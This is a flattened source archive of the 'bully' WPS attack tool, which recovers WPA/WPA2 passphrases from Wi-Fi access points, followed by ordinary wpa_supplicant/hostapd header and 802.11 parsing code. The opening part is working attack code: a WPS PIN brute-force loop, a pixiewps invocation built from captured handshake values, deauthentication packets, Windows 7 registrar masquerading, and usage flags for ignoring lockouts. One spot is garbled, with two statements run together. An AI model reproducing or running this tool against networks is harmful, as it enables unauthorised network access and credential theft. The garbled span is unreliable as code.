G->wdata->wps->dev.model_number = W7_MODEL_NUMBER; G->wdata->wps->dev.rf_bands = W7_RF_BANDS; memcpy(G->wdata->wps->dev.pri_dev_type, W7_DEVICE_TYPE, 8); memcpy(&G->wdata->wps->dev.os_version, W7_OS_VERSION, 4); }; #ifdef HAVE_LUA if (G->luavm) { lua_newtable(G->luavm); for (int i = 0; i < 6; i++) { lua_pushinteger(G->luavm, G->bssid[i]); lua_rawseti(G->luavm, -2, i + 1); } lua_setglobal(G->luavm, "tbl_bssid"); lua_pushstring(G->luavm, hex(G->bssid, 6)); lua_setglobal(G->luavm, "str_bssid"); lua_pushstring(G->luavm, G->essid); lua_setglobal(G->luavm, "str_essid"); lua_pushnumber(G->luavm, (wps_info.version >> 4) + (double)(wps_info.version & 0x0f) / 10); lua_setglobal(G->luavm, "wps_version"); if (wps_info.serial_number) { lua_pushstring(G->luavm, wps_info.serial_number); lua_setglobal(G->luavm, "str_wps_serial"); } } #endif { /* Two files: *.pins and *.run */ size_t wsize = strlen(G->warpath); G->pinf = malloc(wsize + 19); strcpy(G->pinf, G->warpath); G->pinf[wsize] = '/'; strcpy(G->pinf + wsize + 1, hex(G->bssid, 6)); strcpy(G->pinf + wsize + 1 + 12, ".pins"); if (G->random) init_pins(G); G->runf = malloc(wsize + 18); strcpy(G->runf, G->warpath); G->runf[wsize] = '/'; strcpy(G->runf + wsize + 1, hex(G->bssid, 6)); strcpy(G->runf + wsize + 1 + 12, ".run"); } char pinstr[9]; int pincount, savecount; int pinmax = (G->broken ? 100000000 : 10000000); int pin2max = (G->broken ? 10000 : 1000); int pin2div = (G->broken ? 1 : 10); int pin, pindex, phold = get_start(G); sigact.sa_handler = sigint_h; sigaction(SIGHUP, &sigact, 0); sigaction(SIGINT, &sigact, 0); sigaction(SIGPIPE, &sigact, 0); sigaction(SIGALRM, &sigact, 0); sigaction(SIGTERM, &sigact, 0); sigaction(SIGCHLD, &sigact, 0); restart: G->restart = 0; pincount = savecount = 0; pindex = phold; if (-1 < G->pinstart) pindex = G->pinstart; if (G->random) pin = G->pin1[pindex/pin2max] * pin2max + G->pin2[pindex%pin2max] / pin2div; else pin = pindex; if (G->broken) { snprintf(pinstr,9,"%08d",pin); vprint("[+] Index of starting pin number is '%08d'\n", pindex); } else { snprintf(pinstr,9,"%07d%1d",pin,wps_pin_checksum(pin)); vprint("[+] Index of starting pin number is '%07d'\n", pindex); }; struct timeval start, now; int time, last, secs, hour, mins, i, d, key1hit; key1hit = 0; gettimeofday(&start, 0); last = start.tv_sec; ctrlc = G->test; result = DEORDIS; while (!ctrlc) { if (run_pixiewps == 2) { /* Creating pixiewps command */ char *cmd_pixie; cmd_pixie = malloc( 2520 * sizeof(char) ); strcpy(cmd_pixie,"pixiewps -e "); strncat(cmd_pixie,pixie_pke, 1000); strcat(cmd_pixie," -r "); strncat(cmd_pixie,pixie_pkr, 1000); strcat(cmd_pixie," -s "); strncat(cmd_pixie,pixie_ehash1,100); strcat(cmd_pixie," -z "); strncat(cmd_pixie,pixie_ehash2,100); strcat(cmd_pixie," -a "); strncat(cmd_pixie,pixie_authkey,100); strcat(cmd_pixie," -n "); strncat(cmd_pixie,pixie_enonce,100); strcat(cmd_pixie," -m "); strncat(cmd_pixie,pixie_rnonce,100); strcat(cmd_pixie," -v 1 --force"); FILE *fpixe; fpixe = popen(cmd_pixie, "r"); char *aux_pixie_pin; int i=0; printf("[+] Running pixiewps with the information, wait ...\n"); if ( debug_level == 4 ) { printf("Cmd : %s\n",cmd_pixie); }; char *pixie_output; pixie_output=malloc(100 * sizeof(char)); while (fgets(pixie_output, 100, fpixe) != NULL) { aux_pixie_pin = strstr(pixie_output,"WPS pin not found"); if(aux_pixie_pin != NULL) { printf("[Pixie-Dust] WPS pin not found\n"); free(cmd_pixie); break; }; aux_pixie_pin = strstr(pixie_output,"WPS pin:"); if(aux_pixie_pin != NULL) { //here will get the pin //a slightly better way to locate the pin //thx offensive-security by attention for(i=0;istate], names[result], pinstr); result = reassoc(G); }; if (ctrlc) { result = ctrlc; break; }; if (wps_registrar_add_pin(G->wdata->wps->registrar, NULL, pinstr, 8, 0)) { vprint("[X] Failed to add registrar pin '%s', exiting\n", pinstr); return 6; }; result = wpstran(G); wps_registrar_expire_pins(G->wdata->wps->registrar); if (G->restart) goto restart; if (result == SUCCESS) break; if (G->state != RECV_M2D_M3 || result != WPSFAIL) G->dcount = 0; if (KEY1NAK <= result) { if ((++pincount & 0x1f) == 0) { gettimeofday(&now, 0); secs = time = now.tv_sec - start.tv_sec; hour = secs/3600; secs -= hour*3600; mins = secs/60; secs -= mins*60; i = time/pincount; time -= i*pincount; d = time*100/pincount; vprint("[!] Run time %02d:%02d:%02d, pins tested %d (%d.%02d seconds per pin)\n", hour, mins, secs, pincount, i, d); secs = time = now.tv_sec - last; i = time/32; time -= i*32; d = time*100/32; time = pinmax - pindex; time = time/pin2max + (time%pin2max ? time%pin2max : pin2max-1); vprint("[!] Current rate %d.%02d seconds per pin, %05d pins remaining\n", i, d, time); secs = ((time * i * 100) + (time * d)) / 200; hour = secs/3600; secs -= hour*3600; mins = secs/60; secs -= mins*60; vprint("[!] Average time to crack is %d hours, %d minutes, %d seconds\n", hour, mins, secs); last = now.tv_sec; if ((++savecount & 0x01) == 0) { if ((rf = fopen(G->runf, "a")) != NULL) { gettimeofday(&timer, NULL); strftime(G->error, 256, "%Y-%m-%d %H:%M:%S", localtime(&timer.tv_sec)); fprintf(rf, "# session in progress at %s\n%08d:%08d:%01d:%s:\n", G->error, (G->broken ? pindex : pindex*10), (G->broken ? pin : pin*10), G->broken, G->wdata->cred.key); fclose(rf); fprintf(stderr, "Saving session to '%s'\n", G->runf); } else fprintf(stderr, "WARNING : Couldn't save session to '%s'\n", G->runf); }; }; if (result == KEY1NAK) { if (!key1hit) { pindex += pin2max; if (pinmax <= pindex) { vprint("[X] Exhausted first-half possibilities without success\n"); return 7; }; }; if (G->k1delay && (G->k1step <= ++G->k1count)) { G->delay += G->k1delay * 1000; G->k1count = 0; }; } else { if (result == KEY2NAK) { if (key1hit ==0) { key1hit = 1; pinmax = (pindex/pin2max+1)*pin2max; }; pindex++; if (pinmax <= pindex) { vprint("[X] Exhausted second-half possibilities without success\n"); return 7; }; if (G->k2delay && (G->k2step <= ++G->k2count)) { G->delay += G->k2delay * 1000; G->k2count = 0; }; }; }; if (G->random) pin = G->pin1[pindex/pin2max] * pin2max + G->pin2[pindex%pin2max] / pin2div; else pin = pindex; if (G->broken) snprintf(pinstr,9,"%08d",pin); else snprintf(pinstr,9,"%07d%1d",pin,wps_pin_checksum(pin)); }; }; if (!G->test) { if (result == SUCCESS) send_packet(G, eapolf, sizeof(eapolf)-1, 0); send_packet(G, deauth, sizeof(deauth)-1, 0); send_packet(G, deauth, sizeof(deauth)-1, 0); send_packet(G, deauth, sizeof(deauth)-1, 0); }; pcap_close(G->pfd); if (result == SUCCESS) vprint("[*] Pin is '%s', key is '%s'\n", pinstr, G->wdata->cred.key); if ((rf = fopen(G->runf, "a")) != NULL) { if (op_gen_pin == 1) { return 0; } gettimeofday(&timer, NULL); strftime(G->error, 256, "%Y-%m-%d %H:%M:%S", localtime(&timer.tv_sec)); fprintf(rf, "# session ended %s with signal %d\n%08d:%08d:%01d:%s:\n", G->error, signm, (G->broken ? pindex : pindex*10), (G->broken ? pin : pin*10), G->broken, G->wdata->cred.key); fclose(rf); if (ctrlc && !G->test) fprintf(stderr, "\n"); fprintf(stderr, "Saved session to '%s'\n", G->runf); } else fprintf(stderr, "WARNING : Couldn't save session to '%s'\n", G->runf); if (result == SUCCESS) { fprintf(stderr, "\n\tPIN : '%s'", pinstr); fprintf(stderr, "\n\tKEY : '%s'", G->wdata->cred.key); fprintf(stderr, "\n\tBSSID : '%s'", p_bssid); fprintf(stderr, "\n\tESSID : '%s'\n\n", G->essid); } else result = -1; return result; }; bully-1.4-00/src/bully.h000077500000000000000000000171701361530463600150310ustar00rootroot00000000000000/* bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP Copyright (C) 2020 kimocoder Copyright (C) 2017 wiire Copyright (C) 2012 Brian Purcell This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #ifndef _BULLY_H #define _BULLY_H #define EXE_NAME "bully" typedef struct pcap_pkthdr phdr_t; typedef struct wps_config wpsc_t; typedef struct wps_data wpsd_t; typedef struct wps_registrar_config wpsr_t; typedef struct wps_context wctx_t; typedef struct wpabuf wpab_t; char *__vp; #define __vs 1024 int __vb = 3; FILE* __vf; #define vprint(...) { snprintf(__vp,__vs,__VA_ARGS__); if ((__vp[1]=='+'?3:__vp[1]=='!'?2:1)<=__vb) fputs(__vp,__vf); } char hx[16] = "0123456789abcdef"; #define HEXSZ 2049 char _xbuf[HEXSZ]; char *hex(void *p, int len); #define MAX_FCS_FAIL 3 #define MAX_RETRIES 2 #define LOCK_WAIT_SECS 43 #define ACKTIME 25 #define STDTIME 200 #define M13TIME 2000 #define SUCCESS 0 #define FCSFAIL 1 #define INJFAIL 1 #define TIMEOUT 2 #define ACKFAIL 2 #define DEORDIS 3 #define EAPFAIL 4 #define WPSFAIL 5 #define KEY1NAK 6 #define KEY2NAK 7 char *names[] = { "Success", "Failure", "Timeout", "NoAssoc", "EAPFail", "WPSFail", "Pin1Bad", "Pin2Bad" }; char *state[] = { "Last State", "Rx(Beacon)", "Tx(DeAuth)", "Tx( Auth )", "Rx( Auth )", "Tx( Assn )", "Rx( Assn )", "Tx( Strt )", "Rx( ID )", "Tx( ID )", "Rx( M1 )", "Tx( M2 )", "Rx(M2D/M3)", "Tx( M4 )", "Rx( M5 )", "Tx( M6 )", "Rx( M7 )" }; #define START_ASSOC 1 #define START_EAPOL 7 #define RECV_M2D_M3 12 int map[17] = {0,0,0,0,0,0,0,0,0,0,4,5,7,8,9,10,11}; #define PKT_ACK 0 #define PKT_PR 1 #define PKT_BEA 2 #define PKT_AUT 3 #define PKT_ASN 4 #define PKT_EID 5 #define PKT_M1 6 #define PKT_M3 7 #define PKT_M5 8 #define PKT_M7 9 #define PKT_EAP 10 #define PKT_NOP 11 struct { int user; int def; int count; int avg; int max; } times[] = { {0, 100, 1, 100, 100}, /* ACK */ {0, 660, 1, 2650, 2650}, /* PR */ {0, 660, 1, 2650, 2650}, /* BEA */ {0, 100, 1, 200, 200}, /* AUT */ {0, 100, 1, 200, 200}, /* ASN */ {0, 712, 1, 2850, 2850}, /* EID */ {0, 8962, 1,35850,35850}, /* M1 */ {0, 4585, 1,18350,18350}, /* M3 */ {0, 860, 1, 3450, 3450}, /* M5 */ {0, 2685, 1,10750,10750}, /* M7 */ {0, 100, 1, 100, 100}, /* EAP */ {0, 0, 1, 0, 0}, /* NOP */ }; struct global { uint8 *ifname; char *essid; char *ssids; uint8 bssid[6]; char *smacs; uint8 hwmac[6]; char *hop; char *warpath; #ifdef HAVE_LUA char *luaf; lua_State *luavm; #endif char *runf; char *pinf; char schan[8]; int8 *index; int *chans; int *freqs; int chanx; int start; int test; int probe; int win7; int eapfail; int eapmode; int eapflag; int restart; int fixed; int force; int random; int suppress; int ignore; int verbose; int has_rth; int has_fcs; int nocheck; int broken; int use_ack; int m57nack; int retries; int acktime; int stdtime; int m13time; int dlt; int sequence; int delay; int k1delay, k1step, k1count; int k2delay, k2step, k2count; int wpsinfo; int lwait; int detect; int dcount; int state; int pinstart; int pindex; int d1xlnx; int eapidx; int eaplnx; int wfaopx; char *error; char *perr; pcap_t *pfd; phdr_t *phdr; frame_t *inp; uint8 *asshat; int assl; uint8 *dprobe; int reql; wpsd_t *wdata; int16 *pin1; int16 *pin2; char pixie; }; #define W7_DEVICE_NAME "Glau" #define W7_MANUFACTURER "Microsoft" #define W7_MODEL_NAME "Windows" #define W7_MODEL_NUMBER "6.1.7601" #define W7_DEVICE_TYPE "\x00\x01\x00\x50\xF2\x04\x00\x01" #define W7_OS_VERSION "\x01\x00\x06\x00" #define W7_RF_BANDS 0x01 char usage[] = "\n" " bully v1.4\n" " the fork that actually works!\n" " maintained by kimocoder - https://twitter.com/kimocoder\n" "\n" " usage: %s interface\n" "\n" " Required arguments:\n" "\n" " interface : Wireless interface in monitor mode (root required)\n" "\n" " -b, --bssid macaddr : MAC address of the target access point\n" " Or\n" " -e, --essid string : Extended SSID for the access point\n" "\n" " Optional arguments:\n" "\n" " -c, --channel N[,N...] : Channel number of AP, or list to hop [b/g]\n" " -i, --index N : Starting pin index (7 or 8 digits) [Auto]\n" " -l, --lockwait N : Seconds to wait if the AP locks WPS [43]\n" " -o, --outfile file : Output file for messages [stdout]\n" " -p, --pin N : Starting pin number (7 or 8 digits) [Auto]\n" " -s, --source macaddr : Source (hardware) MAC address [Probe]\n" #ifdef HAVE_LUA " -u, --lua : Lua script file \n" #endif " -v, --verbosity N : Verbosity level 1-4, 1 is quietest [3]\n" " -w, --workdir path : Location of pin/session files [~/.bully/]\n" " -5, --5ghz : Hop on 5GHz a/n default channel list [No]\n" " -B, --bruteforce : Bruteforce the WPS pin checksum digit [No]\n" " -F, --force : Force continue in spite of warnings [No]\n" " -S, --sequential : Sequential pins (do not randomize) [No]\n" " -T, --test : Test mode (do not inject any packets) [No]\n" "\n" " Advanced arguments:\n" "\n" " -d, --pixiewps : Attempt to use pixiewps [No]\n" /*" -g, --genpin N : Pin Generator [1] D-Link [2] Belkin [0]\n"*/ " -a, --acktime N : Deprecated/ignored [Auto]\n" " -r, --retries N : Resend packets N times when not acked [2]\n" " -m, --m13time N : Deprecated/ignored [Auto]\n" " -t, --timeout N : Deprecated/ignored [Auto]\n" " -1, --pin1delay M,N : Delay M seconds every Nth nack at M5 [0,1]\n" " -2, --pin2delay M,N : Delay M seconds every Nth nack at M7 [5,1]\n" " -A, --noacks : Disable ACK check for sent packets [No]\n" " -C, --nocheck : Skip CRC/FCS validation (performance) [No]\n" " -D, --detectlock : Detect WPS lockouts unreported by AP [No]\n" " -E, --eapfail : EAP Failure terminate every exchange [No]\n" " -L, --lockignore : Ignore WPS locks reported by the AP [No]\n" " -M, --m57nack : M5/M7 timeouts treated as WSC_NACK's [No]\n" " -N, --nofcs : Packets don't contain the FCS field [Auto]\n" " -P, --probe : Use probe request for nonbeaconing AP [No]\n" " -Q, --wpsinfo : Use probe request to gather WPS info [No]\n" " -R, --radiotap : Assume radiotap headers are present [Auto]\n" " -W, --windows7 : Masquerade as a Windows 7 registrar [No]\n" " -Z, --suppress : Suppress packet throttling algorithm [No]\n" " -V, --version : Print version info and exit\n" " -h, --help : Display this help information\n\n%s"; #endif /* _BULLY_H */ bully-1.4-00/src/common/000077500000000000000000000000001361530463600150105ustar00rootroot00000000000000bully-1.4-00/src/common/Makefile000077500000000000000000000001371361530463600164540ustar00rootroot00000000000000all: @echo Nothing to be made. clean: rm -f *~ *.o *.d install: @echo Nothing to be made. bully-1.4-00/src/common/defs.h000077500000000000000000000155141361530463600161130ustar00rootroot00000000000000/* * WPA Supplicant - Common definitions * Copyright (c) 2004-2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef DEFS_H #define DEFS_H #ifdef FALSE #undef FALSE #endif #ifdef TRUE #undef TRUE #endif typedef enum { FALSE = 0, TRUE = 1 } Boolean; #define WPA_CIPHER_NONE BIT(0) #define WPA_CIPHER_WEP40 BIT(1) #define WPA_CIPHER_WEP104 BIT(2) #define WPA_CIPHER_TKIP BIT(3) #define WPA_CIPHER_CCMP BIT(4) #ifdef CONFIG_IEEE80211W #define WPA_CIPHER_AES_128_CMAC BIT(5) #endif /* CONFIG_IEEE80211W */ #define WPA_KEY_MGMT_IEEE8021X BIT(0) #define WPA_KEY_MGMT_PSK BIT(1) #define WPA_KEY_MGMT_NONE BIT(2) #define WPA_KEY_MGMT_IEEE8021X_NO_WPA BIT(3) #define WPA_KEY_MGMT_WPA_NONE BIT(4) #define WPA_KEY_MGMT_FT_IEEE8021X BIT(5) #define WPA_KEY_MGMT_FT_PSK BIT(6) #define WPA_KEY_MGMT_IEEE8021X_SHA256 BIT(7) #define WPA_KEY_MGMT_PSK_SHA256 BIT(8) #define WPA_KEY_MGMT_WPS BIT(9) static inline int wpa_key_mgmt_wpa_ieee8021x(int akm) { return akm == WPA_KEY_MGMT_IEEE8021X || akm == WPA_KEY_MGMT_FT_IEEE8021X || akm == WPA_KEY_MGMT_IEEE8021X_SHA256; } static inline int wpa_key_mgmt_wpa_psk(int akm) { return akm == WPA_KEY_MGMT_PSK || akm == WPA_KEY_MGMT_FT_PSK || akm == WPA_KEY_MGMT_PSK_SHA256; } static inline int wpa_key_mgmt_ft(int akm) { return akm == WPA_KEY_MGMT_FT_PSK || akm == WPA_KEY_MGMT_FT_IEEE8021X; } static inline int wpa_key_mgmt_sha256(int akm) { return akm == WPA_KEY_MGMT_PSK_SHA256 || akm == WPA_KEY_MGMT_IEEE8021X_SHA256; } #define WPA_PROTO_WPA BIT(0) #define WPA_PROTO_RSN BIT(1) #define WPA_AUTH_ALG_OPEN BIT(0) #define WPA_AUTH_ALG_SHARED BIT(1) #define WPA_AUTH_ALG_LEAP BIT(2) #define WPA_AUTH_ALG_FT BIT(3) enum wpa_alg { WPA_ALG_NONE, WPA_ALG_WEP, WPA_ALG_TKIP, WPA_ALG_CCMP, WPA_ALG_IGTK, WPA_ALG_PMK }; /** * enum wpa_cipher - Cipher suites */ enum wpa_cipher { CIPHER_NONE, CIPHER_WEP40, CIPHER_TKIP, CIPHER_CCMP, CIPHER_WEP104 }; /** * enum wpa_key_mgmt - Key management suites */ enum wpa_key_mgmt { KEY_MGMT_802_1X, KEY_MGMT_PSK, KEY_MGMT_NONE, KEY_MGMT_802_1X_NO_WPA, KEY_MGMT_WPA_NONE, KEY_MGMT_FT_802_1X, KEY_MGMT_FT_PSK, KEY_MGMT_802_1X_SHA256, KEY_MGMT_PSK_SHA256, KEY_MGMT_WPS }; /** * enum wpa_states - wpa_supplicant state * * These enumeration values are used to indicate the current wpa_supplicant * state (wpa_s->wpa_state). The current state can be retrieved with * wpa_supplicant_get_state() function and the state can be changed by calling * wpa_supplicant_set_state(). In WPA state machine (wpa.c and preauth.c), the * wrapper functions wpa_sm_get_state() and wpa_sm_set_state() should be used * to access the state variable. */ enum wpa_states { /** * WPA_DISCONNECTED - Disconnected state * * This state indicates that client is not associated, but is likely to * start looking for an access point. This state is entered when a * connection is lost. */ WPA_DISCONNECTED, /** * WPA_INACTIVE - Inactive state (wpa_supplicant disabled) * * This state is entered if there are no enabled networks in the * configuration. wpa_supplicant is not trying to associate with a new * network and external interaction (e.g., ctrl_iface call to add or * enable a network) is needed to start association. */ WPA_INACTIVE, /** * WPA_SCANNING - Scanning for a network * * This state is entered when wpa_supplicant starts scanning for a * network. */ WPA_SCANNING, /** * WPA_AUTHENTICATING - Trying to authenticate with a BSS/SSID * * This state is entered when wpa_supplicant has found a suitable BSS * to authenticate with and the driver is configured to try to * authenticate with this BSS. This state is used only with drivers * that use wpa_supplicant as the SME. */ WPA_AUTHENTICATING, /** * WPA_ASSOCIATING - Trying to associate with a BSS/SSID * * This state is entered when wpa_supplicant has found a suitable BSS * to associate with and the driver is configured to try to associate * with this BSS in ap_scan=1 mode. When using ap_scan=2 mode, this * state is entered when the driver is configured to try to associate * with a network using the configured SSID and security policy. */ WPA_ASSOCIATING, /** * WPA_ASSOCIATED - Association completed * * This state is entered when the driver reports that association has * been successfully completed with an AP. If IEEE 802.1X is used * (with or without WPA/WPA2), wpa_supplicant remains in this state * until the IEEE 802.1X/EAPOL authentication has been completed. */ WPA_ASSOCIATED, /** * WPA_4WAY_HANDSHAKE - WPA 4-Way Key Handshake in progress * * This state is entered when WPA/WPA2 4-Way Handshake is started. In * case of WPA-PSK, this happens when receiving the first EAPOL-Key * frame after association. In case of WPA-EAP, this state is entered * when the IEEE 802.1X/EAPOL authentication has been completed. */ WPA_4WAY_HANDSHAKE, /** * WPA_GROUP_HANDSHAKE - WPA Group Key Handshake in progress * * This state is entered when 4-Way Key Handshake has been completed * (i.e., when the supplicant sends out message 4/4) and when Group * Key rekeying is started by the AP (i.e., when supplicant receives * message 1/2). */ WPA_GROUP_HANDSHAKE, /** * WPA_COMPLETED - All authentication completed * * This state is entered when the full authentication process is * completed. In case of WPA2, this happens when the 4-Way Handshake is * successfully completed. With WPA, this state is entered after the * Group Key Handshake; with IEEE 802.1X (non-WPA) connection is * completed after dynamic keys are received (or if not used, after * the EAP authentication has been completed). With static WEP keys and * plaintext connections, this state is entered when an association * has been completed. * * This state indicates that the supplicant has completed its * processing for the association phase and that data connection is * fully configured. */ WPA_COMPLETED }; #define MLME_SETPROTECTION_PROTECT_TYPE_NONE 0 #define MLME_SETPROTECTION_PROTECT_TYPE_RX 1 #define MLME_SETPROTECTION_PROTECT_TYPE_TX 2 #define MLME_SETPROTECTION_PROTECT_TYPE_RX_TX 3 #define MLME_SETPROTECTION_KEY_TYPE_GROUP 0 #define MLME_SETPROTECTION_KEY_TYPE_PAIRWISE 1 /** * enum mfp_options - Management frame protection (IEEE 802.11w) options */ enum mfp_options { NO_MGMT_FRAME_PROTECTION = 0, MGMT_FRAME_PROTECTION_OPTIONAL = 1, MGMT_FRAME_PROTECTION_REQUIRED = 2 }; /** * enum hostapd_hw_mode - Hardware mode */ enum hostapd_hw_mode { HOSTAPD_MODE_IEEE80211B, HOSTAPD_MODE_IEEE80211G, HOSTAPD_MODE_IEEE80211A, NUM_HOSTAPD_MODES }; #endif /* DEFS_H */ bully-1.4-00/src/common/eapol_common.h000077500000000000000000000021441361530463600176350ustar00rootroot00000000000000/* * EAPOL definitions shared between hostapd and wpa_supplicant * Copyright (c) 2002-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef EAPOL_COMMON_H #define EAPOL_COMMON_H /* IEEE Std 802.1X-2004 */ #ifdef _MSC_VER #pragma pack(push, 1) #endif /* _MSC_VER */ struct ieee802_1x_hdr { u8 version; u8 type; be16 length; /* followed by length octets of data */ } STRUCT_PACKED; #ifdef _MSC_VER #pragma pack(pop) #endif /* _MSC_VER */ #define EAPOL_VERSION 2 enum { IEEE802_1X_TYPE_EAP_PACKET = 0, IEEE802_1X_TYPE_EAPOL_START = 1, IEEE802_1X_TYPE_EAPOL_LOGOFF = 2, IEEE802_1X_TYPE_EAPOL_KEY = 3, IEEE802_1X_TYPE_EAPOL_ENCAPSULATED_ASF_ALERT = 4 }; enum { EAPOL_KEY_TYPE_RC4 = 1, EAPOL_KEY_TYPE_RSN = 2, EAPOL_KEY_TYPE_WPA = 254 }; #endif /* EAPOL_COMMON_H */ bully-1.4-00/src/common/ieee802_11_common.c000077500000000000000000000163551361530463600202030ustar00rootroot00000000000000/* * IEEE 802.11 Common routines * Copyright (c) 2002-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "ieee802_11_defs.h" #include "ieee802_11_common.h" static int ieee802_11_parse_vendor_specific(const u8 *pos, size_t elen, struct ieee802_11_elems *elems, int show_errors) { unsigned int oui; /* first 3 bytes in vendor specific information element are the IEEE * OUI of the vendor. The following byte is used a vendor specific * sub-type. */ if (elen < 4) { if (show_errors) { wpa_printf(MSG_MSGDUMP, "short vendor specific " "information element ignored (len=%lu)", (unsigned long) elen); } return -1; } oui = WPA_GET_BE24(pos); switch (oui) { case OUI_MICROSOFT: /* Microsoft/Wi-Fi information elements are further typed and * subtyped */ switch (pos[3]) { case 1: /* Microsoft OUI (00:50:F2) with OUI Type 1: * real WPA information element */ elems->wpa_ie = pos; elems->wpa_ie_len = elen; break; case WMM_OUI_TYPE: /* WMM information element */ if (elen < 5) { wpa_printf(MSG_MSGDUMP, "short WMM " "information element ignored " "(len=%lu)", (unsigned long) elen); return -1; } switch (pos[4]) { case WMM_OUI_SUBTYPE_INFORMATION_ELEMENT: case WMM_OUI_SUBTYPE_PARAMETER_ELEMENT: /* * Share same pointer since only one of these * is used and they start with same data. * Length field can be used to distinguish the * IEs. */ elems->wmm = pos; elems->wmm_len = elen; break; case WMM_OUI_SUBTYPE_TSPEC_ELEMENT: elems->wmm_tspec = pos; elems->wmm_tspec_len = elen; break; default: wpa_printf(MSG_MSGDUMP, "unknown WMM " "information element ignored " "(subtype=%d len=%lu)", pos[4], (unsigned long) elen); return -1; } break; case 4: /* Wi-Fi Protected Setup (WPS) IE */ elems->wps_ie = pos; elems->wps_ie_len = elen; break; default: wpa_printf(MSG_MSGDUMP, "Unknown Microsoft " "information element ignored " "(type=%d len=%lu)\n", pos[3], (unsigned long) elen); return -1; } break; case OUI_BROADCOM: switch (pos[3]) { case VENDOR_HT_CAPAB_OUI_TYPE: elems->vendor_ht_cap = pos; elems->vendor_ht_cap_len = elen; break; default: wpa_printf(MSG_MSGDUMP, "Unknown Broadcom " "information element ignored " "(type=%d len=%lu)\n", pos[3], (unsigned long) elen); return -1; } break; default: wpa_printf(MSG_MSGDUMP, "unknown vendor specific information " "element ignored (vendor OUI %02x:%02x:%02x " "len=%lu)", pos[0], pos[1], pos[2], (unsigned long) elen); return -1; } return 0; } /** * ieee802_11_parse_elems - Parse information elements in management frames * @start: Pointer to the start of IEs * @len: Length of IE buffer in octets * @elems: Data structure for parsed elements * @show_errors: Whether to show parsing errors in debug log * Returns: Parsing result */ ParseRes ieee802_11_parse_elems(const u8 *start, size_t len, struct ieee802_11_elems *elems, int show_errors) { size_t left = len; const u8 *pos = start; int unknown = 0; os_memset(elems, 0, sizeof(*elems)); while (left >= 2) { u8 id, elen; id = *pos++; elen = *pos++; left -= 2; if (elen > left) { if (show_errors) { wpa_printf(MSG_DEBUG, "IEEE 802.11 element " "parse failed (id=%d elen=%d " "left=%lu)", id, elen, (unsigned long) left); wpa_hexdump(MSG_MSGDUMP, "IEs", start, len); } return ParseFailed; } switch (id) { case WLAN_EID_SSID: elems->ssid = pos; elems->ssid_len = elen; break; case WLAN_EID_SUPP_RATES: elems->supp_rates = pos; elems->supp_rates_len = elen; break; case WLAN_EID_FH_PARAMS: elems->fh_params = pos; elems->fh_params_len = elen; break; case WLAN_EID_DS_PARAMS: elems->ds_params = pos; elems->ds_params_len = elen; break; case WLAN_EID_CF_PARAMS: elems->cf_params = pos; elems->cf_params_len = elen; break; case WLAN_EID_TIM: elems->tim = pos; elems->tim_len = elen; break; case WLAN_EID_IBSS_PARAMS: elems->ibss_params = pos; elems->ibss_params_len = elen; break; case WLAN_EID_CHALLENGE: elems->challenge = pos; elems->challenge_len = elen; break; case WLAN_EID_ERP_INFO: elems->erp_info = pos; elems->erp_info_len = elen; break; case WLAN_EID_EXT_SUPP_RATES: elems->ext_supp_rates = pos; elems->ext_supp_rates_len = elen; break; case WLAN_EID_VENDOR_SPECIFIC: if (ieee802_11_parse_vendor_specific(pos, elen, elems, show_errors)) unknown++; break; case WLAN_EID_RSN: elems->rsn_ie = pos; elems->rsn_ie_len = elen; break; case WLAN_EID_PWR_CAPABILITY: elems->power_cap = pos; elems->power_cap_len = elen; break; case WLAN_EID_SUPPORTED_CHANNELS: elems->supp_channels = pos; elems->supp_channels_len = elen; break; case WLAN_EID_MOBILITY_DOMAIN: elems->mdie = pos; elems->mdie_len = elen; break; case WLAN_EID_FAST_BSS_TRANSITION: elems->ftie = pos; elems->ftie_len = elen; break; case WLAN_EID_TIMEOUT_INTERVAL: elems->timeout_int = pos; elems->timeout_int_len = elen; break; case WLAN_EID_HT_CAP: elems->ht_capabilities = pos; elems->ht_capabilities_len = elen; break; case WLAN_EID_HT_OPERATION: elems->ht_operation = pos; elems->ht_operation_len = elen; break; default: unknown++; if (!show_errors) break; wpa_printf(MSG_MSGDUMP, "IEEE 802.11 element parse " "ignored unknown element (id=%d elen=%d)", id, elen); break; } left -= elen; pos += elen; } if (left) return ParseFailed; return unknown ? ParseUnknown : ParseOK; } int ieee802_11_ie_count(const u8 *ies, size_t ies_len) { int count = 0; const u8 *pos, *end; if (ies == NULL) return 0; pos = ies; end = ies + ies_len; while (pos + 2 <= end) { if (pos + 2 + pos[1] > end) break; count++; pos += 2 + pos[1]; } return count; } struct wpabuf * ieee802_11_vendor_ie_concat(const u8 *ies, size_t ies_len, u32 oui_type) { struct wpabuf *buf; const u8 *end, *pos, *ie; pos = ies; end = ies + ies_len; ie = NULL; while (pos + 1 < end) { if (pos + 2 + pos[1] > end) return NULL; if (pos[0] == WLAN_EID_VENDOR_SPECIFIC && pos[1] >= 4 && WPA_GET_BE32(&pos[2]) == oui_type) { ie = pos; break; } pos += 2 + pos[1]; } if (ie == NULL) return NULL; /* No specified vendor IE found */ buf = wpabuf_alloc(ies_len); if (buf == NULL) return NULL; /* * There may be multiple vendor IEs in the message, so need to * concatenate their data fields. */ while (pos + 1 < end) { if (pos + 2 + pos[1] > end) break; if (pos[0] == WLAN_EID_VENDOR_SPECIFIC && pos[1] >= 4 && WPA_GET_BE32(&pos[2]) == oui_type) wpabuf_put_data(buf, pos + 6, pos[1] - 4); pos += 2 + pos[1]; } return buf; } 